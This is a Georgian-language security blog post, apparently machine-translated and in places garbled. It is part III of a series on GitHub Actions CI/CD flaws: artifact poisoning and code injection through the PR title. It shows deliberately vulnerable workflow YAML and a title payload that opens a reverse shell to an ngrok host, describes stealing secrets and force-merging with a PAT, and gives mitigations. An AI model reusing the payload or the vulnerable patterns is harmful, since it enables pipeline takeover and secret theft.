CICD-Pipelines

ღრმა ჩაყვინთვის შევიდა CI/CD Pipelineდაუცველობები (III): არტეფაქტებით მოწამვლა და კოდის ინექცია

წინა პოსტებში (იხ. არაპირდაპირი მოწამვლა Pipeline შესრულება I-PPE მდე მოწამლული Pipeline შესრულების ინდივიდუალური დამცავი აღჭურვილობა , ჩვენ ძირითადად ინდივიდუალური დამცავი საშუალებებით (მოწამლული Pipeline შესრულება): ჩვენ ვნახეთ, თუ როგორ მუშაობს ის, მისი ეფექტები, ექსპლუატაციის ზოგიერთი ასპექტი, ასევე მისგან დაცვის რამდენიმე გზა. 

ეს პოსტი სხვა რაღაცეებსაც ღრმად ჩაუღრმავდება CI/CD pipeline ისეთი დაუცველობები, როგორიცაა არტეფაქტებით მოწამვლა და კოდის ინექცია. 

ამისათვის, ჩვენ მას როგორმე პირადი დამცავი აღჭურვილობის (PPE) საფუძველზე დავაფუძნებთ, ამიტომ მოდით სწრაფად შევაჯამოთ ის, რაც პირადი დამცავი აღჭურვილობის შესახებ ვნახეთ.

წინა სამუშაოები პირადი დამცავი აღჭურვილობის შესახებ

შეჯამებისთვის, ჩვენ დავიწყეთ საბაზისო GitHub-ით pipeline წვლილის შეტანის კოდის შესაქმნელად და შესამოწმებლად pull requestგარდა ამისა, ის განსაზღვრავს რამდენიმე შემოწმებას, რომელთა დაკმაყოფილების შემთხვევაში, კოდი გაერთიანდება ძირითად ფილიალში. ჩვენ ამას დავარქვით სცენარი #1.

CI/CD-Pipelines

ჩვენს წინა პოსტში ჩვენ ვაჩვენეთ, თუ როგორ ხდება ეს ძირითადი pipeline იყო დაუცველია როგორც D-PPE-ს, ასევე I-PPE-ს მიმართ.

ჩვენ მოვახერხეთ D-PPE-ს შეკეთება by ტრიგერის მოვლენის შეცვლა საწყისი pull_request to pull_request_target, რაც pipeline უსაფრთხოა D-PPE-სთვის. შეგახსენებთ, pipelinepull_request_target მოვლენაზე გააქტიურებული s შეასრულებს ბაზისურ ფუნქციას. pipeline კოდი, არა pipeline კოდი, რომელიც შეიცავს pull request. 

ჩვენ ამას დავარქვით სცენარი #2.

CI/CD-Pipelines-დაუცველობების-სცენარი-2

ამ მოდიფიკაციის შედეგად, ჩვენ ვაჩვენეთ, რომ სცენარი #2 კვლავ დაუცველი იყო I-PPE-ს მიმართ

მის გამოსასწორებლად, ჩვენ გადავწყვიტეთ გაყოფა pipeline ორად:

  • 1-ლი pipeline (CI-ის შექმნა) იქნებოდა შეამოწმეთ PR კოდი (მისი ასაშენებლად), შექმენით კონსტრუქცია და გენერირეთ არტეფაქტი.
  • 2 pipeline (ტესტი CI) იქნებოდა შეამოწმეთ საბაზისო კოდი (შელის სკრიპტის მოდიფიკაციის თავიდან ასაცილებლად) და შეასრულოთ ორიგინალური სკრიპტები არტეფაქტის წინააღმდეგ. 
  • ტესტის CI-ის სინქრონიზაციისთვის pipeline გასაშვებად Build CI-ის შემდეგ pipeline, ჩვენ გამოვიყენებთ სამუშაოს_გაშვება ტრიგერი. 

ჩვენ ამას დავარქვით სცენარი #3.

CI/CD-Pipelines-დაუცველობების-სცენარი-3

მოდით, ორივეს კოდი აღვადგინოთ pipelineამ ცვლილებების მიხედვით…

1st pipeline (CI-ის აწყობა):

				
					name: Build CI


on:
  pull_request_target:
    branches: [ main ]


env:
  MY_SECRET: ${{ secrets.MY_SECRET }}
  GITHUB_PAT: ${{ secrets.GH_PAT }}
 
jobs:
               
  prt_build_and_upload:
    runs-on: ubuntu-latest
    steps:
      - name: Checking out PR code
        uses: actions/checkout@v4
        if: ${{ github.event_name == 'pull_request_target' }}
        with:
          # This is to get the PR code instead of the repo code
          ref: ${{ github.event.pull_request.head.sha }}


      - name: Building ...
        run: |
          mkdir ./bin
          touch ./bin/mybin.exe
	    # Save some PR info for later use by the 2nd pipeline
          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt
 
	# Upload the binary as a pipeline artifact
      - name: Archive building artifacts
        uses: actions/upload-artifact@v3
        with:
          name: archive-bin
          path: |
            bin

				
			

2nd pipeline (ტესტი CI):

				
					name: Test CI


on:
  workflow_run:
    workflows: [ 'Build CI' ]
    types: [completed]
   
env:
  MY_SECRET: ${{ secrets.MY_SECRET }}
  GITHUB_PAT: ${{ secrets.GH_PAT }}




jobs:
  deploy:
    runs-on: ubuntu-latest
    if: ${{ github.event.workflow_run.conclusion == 'success' }}
    steps:
 


      # By default, checks out base code (not PR code)
      - name: Checkout repository
        uses: actions/checkout@v4


	# Download the artifact
      - name: 'Download artifact'
        uses: actions/github-script@v6
        with:
          script: |
            let allArtifacts = await github.rest.actions.listWorkflowRunArtifacts({
               owner: context.repo.owner,
               repo: context.repo.repo,
               run_id: context.payload.workflow_run.id,
            });
            let matchArtifact = allArtifacts.data.artifacts.filter((artifact) => {
              return artifact.name == "archive-bin"
            })[0];
            let download = await github.rest.actions.downloadArtifact({
               owner: context.repo.owner,
               repo: context.repo.repo,
               artifact_id: matchArtifact.id,
               archive_format: 'zip',
            });
            let fs = require('fs');
            fs.writeFileSync(`${process.env.GITHUB_WORKSPACE}/myartifact.zip`, Buffer.from(download.data));


	# Unzip the artifact
      - name: 'Unzip artifact'
        run: |
          unzip -o myartifact.zip


      # Runs tests
      - name: Running tests ...
        id : run_tests
        run: |
          echo Running tests..
          chmod +x runtests.sh
          ./runtests.sh
          echo Tests executed.


#
      # For demo purposes, the check merge condition will always be set to FALSE (avoiding to merge)
      #
- name: pr_check_conditions_to_merge
        id: check_pr
        run: |
          echo "check_conditions_to_merge"
          PR_ID=$(<PR_ID.txt)
          PR_TITLE=$(<PR_TITLE.txt)
          echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE"
          echo "merge=false" >> $GITHUB_OUTPUT
     
      - name: pr_merge_pr_false
        if: steps.check_pr.outputs.merge == 'false'
        run: |
          echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
          echo "Merge conditions NOT MEET!!!"




      - name: pr_merge_pr_true
        if: steps.check_pr.outputs.merge == 'true' && steps.run_tests.outputs.run_tests == 'OK'
        run: |
          echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
          echo "Merge conditions successfully MEET!!!"
          echo "Merging .."
          PR_ID=$(<PR_ID.txt)
          curl -L \
                  -X PUT \
                  -H "Accept: application/vnd.github+json" \
                  -H "Authorization: Bearer $GITHUB_PAT" \
                  -H "X-GitHub-Api-Version: 2022-11-28" \ 
https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
                  -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'
       





				
			

არტეფაქტებით მოწამვლა

ზემოაღნიშნულის მიხედვით CI/CD pipelines:

  • pipeline CI-ის შექმნა is უსაფრთხო ორივეს D-PPE (იმის გამო pull_request_target) და I-PPE (რადგან ის აღარ ასრულებს shell სკრიპტს).
  • pipeline ტესტი CI ასევე უსაფრთხო ორივეს D-PPE (იმის გამო სამუშაოს_გაშვება) და I-PPE (რადგან ის ამოწმებს საბაზისო კოდს ორიგინალური shell სკრიპტის მისაღებად) 

მოდით, უფრო დეტალურად განვიხილოთ ეს „გამოსავალი“.

Pipeline ტესტი CI არტეფაქტს zip ფაილის სახით ჩამოტვირთავს.

				
					# Unzip the artifact
      - name: 'Unzip artifact'
        run: |
          unzip -o myartifact.zip


      # Runs tests
      - name: Running tests ...
        id : run_tests
        run: |
          echo Running tests..
          chmod +x runtests.sh
          ./runtests.sh
          echo Tests executed.

				
			

გახსნის შემდეგ, ის ასრულებს „უსაფრთხო“ shell სკრიპტს. რატომ ვამბობ „უსაფრთხო“ shell სკრიპტს? იმიტომ, რომ წინა ეტაპზე, pipeline ამოწმებს „ბაზის“ კოდს, ამიტომ ორიგინალი სკრიპტი თავსდება სამუშაო სივრცის საქაღალდეში. ამიტომ, როდესაც pipeline ასრულებს shell სკრიპტს, რომელიც გაშვებული იქნება ადრე გადმოწერილი ორობითი ფაილის გამოყენებით.

მაშინ, რა არის პრობლემა ამ მიდგომით? პრობლემა ჩნდება როდესაც ნებისმიერი მომხმარებელი „ქმნის“ ახალს pipeline

თუ მომხმარებელი ხსნის PR-ს, რომელიც შეიცავს ახალს pipeline, GitHub შეასრულებს ამას pipeline  (გარკვეული პირობების გათვალისწინებით, როგორც წინა შემთხვევაში ვნახეთ) პოსტი).

ამის გათვალისწინებით, რა მოხდება, თუ მომხმარებელი შექმნის ახალს? pipeline იგივე სახელით, რაც Build CI-ს? კი, გასაკვირია, მაგრამ GitHub-ი საშუალებას გაძლევთ შექმნათ ორი pipelineიგივე სახელით!!

გახსოვდეთ, რომ Test CI შესრულდება CI-ის შექმნის შემდეგ…

				
					name: Test CI


on:
  workflow_run:
    workflows: [ 'Build CI' ]
    types: [completed]
				
			

გასაკვირია, რადგან ახლა ორია pipelineიგივე სახელით, pipeline ტესტი CI ორჯერ შესრულდება: ორიგინალის შემდეგ pipeline და სხვა „ახლის“ შემდეგ pipeline.

როგორ შეუძლია ჰაკერს ამით ისარგებლოს? 

  • პირველ რიგში, მავნე მომხმარებელს შეუძლია შეცვალოს shell სკრიპტი, რათა საიდუმლო ჰაკერების მიერ კონტროლირებად სერვერზე გააგზავნოს.
  • მეორეც, ახალი pipeline შეიცავს ხაზს შეცვლილი shell სკრიპტის არტეფაქტში კოპირებისთვის → არტეფატების მოწამვლაct!!!

როდესაც მომხმარებელი ხსნის PR-ს ამ ცვლილებებით, „ახალი“ pipeline შესრულდება (მოწამლული არტეფაქტის ატვირთვა) და განლაგების CI pipeline ამის შემდეგ შესრულდება, რაც გამოიწვევს „მოდიფიცირებული“ shell სკრიპტი ცვლის „ორიგინალურ“ shell სკრიპტს, რომელიც მდებარეობს pipeline სამუშაო სივრცე.

CI/CD-Pipelines-დაუცველობები

ამას ჩვენ ვეძახით არტეფაქტებით მოწამვლა, ანუ შეცვლის (გატეხვის) შესაძლებლობა pipeline ლოგიკა მოდიფიკაციის გზით pipeline artifact

ერთი შესაძლებელია გამოსწორება საკმაოდ მარტივია: არტეფაქტის სამუშაო სივრცის ქვესაქაღალდეში უბრალოდ გახსნა თავიდან აგვაცილებს „ძირითადი“ shell სკრიპტის გადაწერას.

კოდის ინექცია

არტეფაქტებით მოწამვლის გარდა, ხედავთ თუ არა ზემოთ მოცემულ კოდში სხვა რაიმე დაუცველობას?

წავიდეთ!!

როგორც კოდში ხედავთ, pipeline Build CI აწყობს ბინარულ ფაილს, ის ატვირთავს ბინარულ ფაილს როგორც pipeline არტეფაქტი და, გარდა ამისა, ის ატვირთავს რამდენიმე დამატებით მონაცემს: PR სათაურს და PR ID-ს.

				
					          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt
				
			

რატომ? იმიტომ, რომ PR-ის შერწყმა, როგორც ქვემოთ ხედავთ, Test CI-ს pipeline PR-ის შერწყმის მქონე GitHub REST API-ის გამოსაძახებლად საჭიროა PR id. 

როგორ ხდება ტესტის CI? pipeline PR ID-ის მიღება? ინფორმაციის გაზიარება ტექსტურ ფაილებში (ნაწილი pipeline არტეფაქტი) ინფორმაციის გაზიარების გავრცელებული გზაა pipelineს. და ეს ზუსტად ისაა, რაც ამ pipelineს აკეთებენ.

				
					  echo "Merging .."
          PR_ID=$(<PR_ID.txt)
          curl -L \
                  -X PUT \
                  -H "Accept: application/vnd.github+json" \
                  -H "Authorization: Bearer $GITHUB_PAT" \
                  -H "X-GitHub-Api-Version: 2022-11-28" \
                  https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
                  -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'

				
			

მკაცრად რომ ვთქვათ, PR-ის გაერთიანებისთვის მხოლოდ PR Id არის საჭირო, მაგრამ pipeline ადმინისტრატორმა გადაწყვიტა, რომ Build CI-ში ასევე შესულიყო PR სათაური, ამიტომ Test CI-ში pipeline დაბეჭდავდა საინფორმაციო შეტყობინებას, რომელიც შეიცავს როგორც PR ID-ს, ასევე სათაურს.

				
					name: Build CI
      - name: Building ...
        run: |
          mkdir ./bin
          touch ./bin/mybin.exe
	    # Save some PR info for later use by the 2nd pipeline
          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt


				
			
				
					name: Test CI
[...]
          PR_ID=$(<PR_ID.txt)
          PR_TITLE=$(<PR_TITLE.txt)
          echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE"

				
			

PR სათაური ყოველთვის მომხმარებლისგან მომდინარე მონაცემებია და, შესაბამისად, ყოველთვის არასანდოდ უნდა ჩაითვალოს.. ასე რომ pipeline ასე უნდა მოიქცეს და დამცავი ზომები მიიღოს.

ზემოთ მოცემულ კოდში ვხედავთ კონკრეტულ შეტყობინებას, რომელიც იმეორებს PR სათაურს. ეს უბრალოდ Linux-ის „echo“ ბრძანებაა.

სტრიქონების ინტერპოლაციის გზით, თუ სათაური „ფიქტიური სათაურია“, Github შინაგანად წარმოქმნის სკრიპტს, რომელიც შეიცავს

				
					echo ""a dummy title""
				
			

მაგრამ რა მოხდება, თუ PR სათაური დაახლოებით ასეთი იქნება:

მავნე სათაური” && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "

სკრიპტი ასეთი იქნებოდა:

				
					echo "Malicious title" && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo ""

				
			

შედეგად, ჰაკერების მიერ კონტროლირებადი სერვერის წინააღმდეგ საპირისპირო გარსი იხსნება.

CI/CD-Pipelines

ეს საპირისპირო გარსი შეიძლება გამოყენებულ იქნას წვდომისთვის pipeline secrets (გახსოვდეთ, რომ Test CI მუშაობს პრივილეგიების რეჟიმში, რადგან ის აქტიურდება workflow_run-ის მიერ, ამიტომ მას აქვს წვდომა secrets-ებზე).

მაგრამ, კიდევ რა შეიძლება გაკეთდეს ამ საპირისპირო გარსის საშუალებით? 

შეხედეთ CI ტესტის კოდს:

				
					env:
  GITHUB_PAT: ${{ secrets.GH_PAT }}


[...]
          echo "Merging .."
          PR_ID=$(<PR_ID.txt)
          curl -L \
                  -X PUT \
                  -H "Accept: application/vnd.github+json" \
                  -H "Authorization: Bearer $GITHUB_PAT" \
                  -H "X-GitHub-Api-Version: 2022-11-28" \
                  https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
                  -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'


				
			

როგორც ხედავთ Test CI-ში pipeline, curl merge ბრძანება იყენებს GITHUB_PAT-ს (განისაზღვრება, როგორც pipeline env var), ამიტომ Runner შეიცავს GITHUB_PAT-ს, როგორც გარემოს ცვლადს. გარდა ამისა, ის ასევე ქმნის env var-ს, რომელიც კითხულობს PR ID-ს. 

ამგვარად, ჰაკერს მხოლოდ curl ბრძანების კოპირება და საპირისპირო გარსში ჩასმა სჭირდება, PR-ის პირდაპირ დაცულ ტოტთან შერწყმით.

კოდის ინექცია

ამ ყველაფრისგან თავის დასაცავად:

  • დან თავიდან იქნას აცილებული სტრიქონის ინტერპოლაცია არასანდო მონაცემებით (დაუცველია კოდის ინექცია) განსაზღვრის pipeline გარემოს ვარიაციები იმის ნაცვლად, რომ პირდაპირ გამოიყენოთ ის echo ბრძანებებში

გამოყენების ნაცვლად:

				
					name: Build CI
      - name: Building ...
        run: |
          mkdir ./bin
          touch ./bin/mybin.exe
	    # Save some PR info for later use by the 2nd pipeline
          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt
				
			

გამოიყენეთ ეს:

				
					  - name: Building ...
        run: |
          mkdir ./bin
          touch ./bin/mybin.exe
	    # Save some PR info for later use by the 2nd pipeline
          echo "$PR_TITLE" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt
        env:
          PR_TITLE: ${{github.event.pull_request.title}}

				
			
  • კოდის ინექციის ექსპლოიტის შემთხვევაშიც კი, curl შერწყმის ბრძანება წარმატებით არ შესრულდებოდა, თუ სწორად შეასრულებდით დაიცვა შენი pull requests გარკვეული სავალდებულო განხილვის ან დამტკიცების გზით

დასკვნები

რაღაცნაირად ძნელია დაცვა CI/CD pipelines კონფიგურაცია და მიღება pipelineდაუცველებისაგან თავისუფალია.

ეს იმას არ ნიშნავს CI/CD სისტემები (როგორიცაა GitHub ამ შემთხვევაში) თავისთავად დაუცველია. CI/CD სისტემები უზრუნველყოფენ დაუცველობებისგან დაცვის საშუალებებს... მაგრამ ამ დაცვის განხორციელება ადმინისტრატორის პასუხისმგებლობაა.

მაგრამ ... დაუცველობის მოგვარება შეუძლებელია, თუ მისი არსებობის შესახებ არ იცით!!!

რა თქმა უნდა, მაღალკვალიფიციურ devops ადმინისტრატორს შეიძლება ჰქონდეს ყველა ეს საფრთხე მხედველობაში და სათანადოდ დაიცვას CI/CD pipelines, მაგრამ, მიუხედავად ამისა, ძალიან ღირებულია პროდუქტის გამოყენება ყველა ამ ტიპის დაუცველობის აღმოსაჩენად. და რა თქმა უნდა, ამ დაუცველობის შეკავების პროცესის ავტომატიზირებისთვის (მაგალითად, სკანირების გაშვება, როგორც ნაწილი CI/CD pipelines).

ამ მიდგომას შეიძლება ვუწოდოთ „უსაფრთხოების კარიბჭე": 

  • ახალი შექმნა pipeline (უსაფრთხოების კარიბჭე) შესამოწმებლად CI/CD pipelines დაუცველობები და სხვა CI-ს შექმნა pipelineშესრულდება მხოლოდ უსაფრთხოების კარიბჭის წარმატებით დასრულების შემდეგ pipeline.
  • უსაფრთხოების კარიბჭე pipelines შეამოწმებს CI/CD pipelineდაუცველობა და, 
    • თუ ხარვეზები აღმოჩნდება, ის გაფუჭდება და, შესაბამისად, სხვაც pipelines არ შესრულდება. 
    • თუ ხარვეზები არ აღმოჩნდება, pipeline წარმატებას მიაღწევს და სხვა pipelines შესრულდება ჩვეულებისამებრ.
CI/CD-დაზღვევა

მოწამლული Pipeline შესრულება (PPE)

ღრმა ჩაყვინთვის შევიდა CI/CD Pipelineდაუცველობები (I)

არაპირდაპირი მოწამვლა Pipeline შესრულება (I-PPE)

ღრმა ჩაყვინთვის შევიდა CI/CD Pipelineდაუცველობები (II)

არტეფაქტებით მოწამვლისგან დაცვა პროგრამული უზრუნველყოფის ატესტაციების მეშვეობით

ღრმა ჩაყვინთვის შევიდა CI/CD Pipelineდაუცველობები (IV)
sca-tools-software-composition-analysis-tools
თქვენი პროგრამული უზრუნველყოფის რისკების პრიორიტეტიზაცია, გამოსწორება და დაცვა
მიიღეთ თქვენი უფასო ანგარიში.
საკრედიტო ბარათი არ არის საჭირო.

უზრუნველყავით თქვენი პროგრამული უზრუნველყოფის შემუშავება და მიწოდება

Xygeni Product Suite-თან ერთად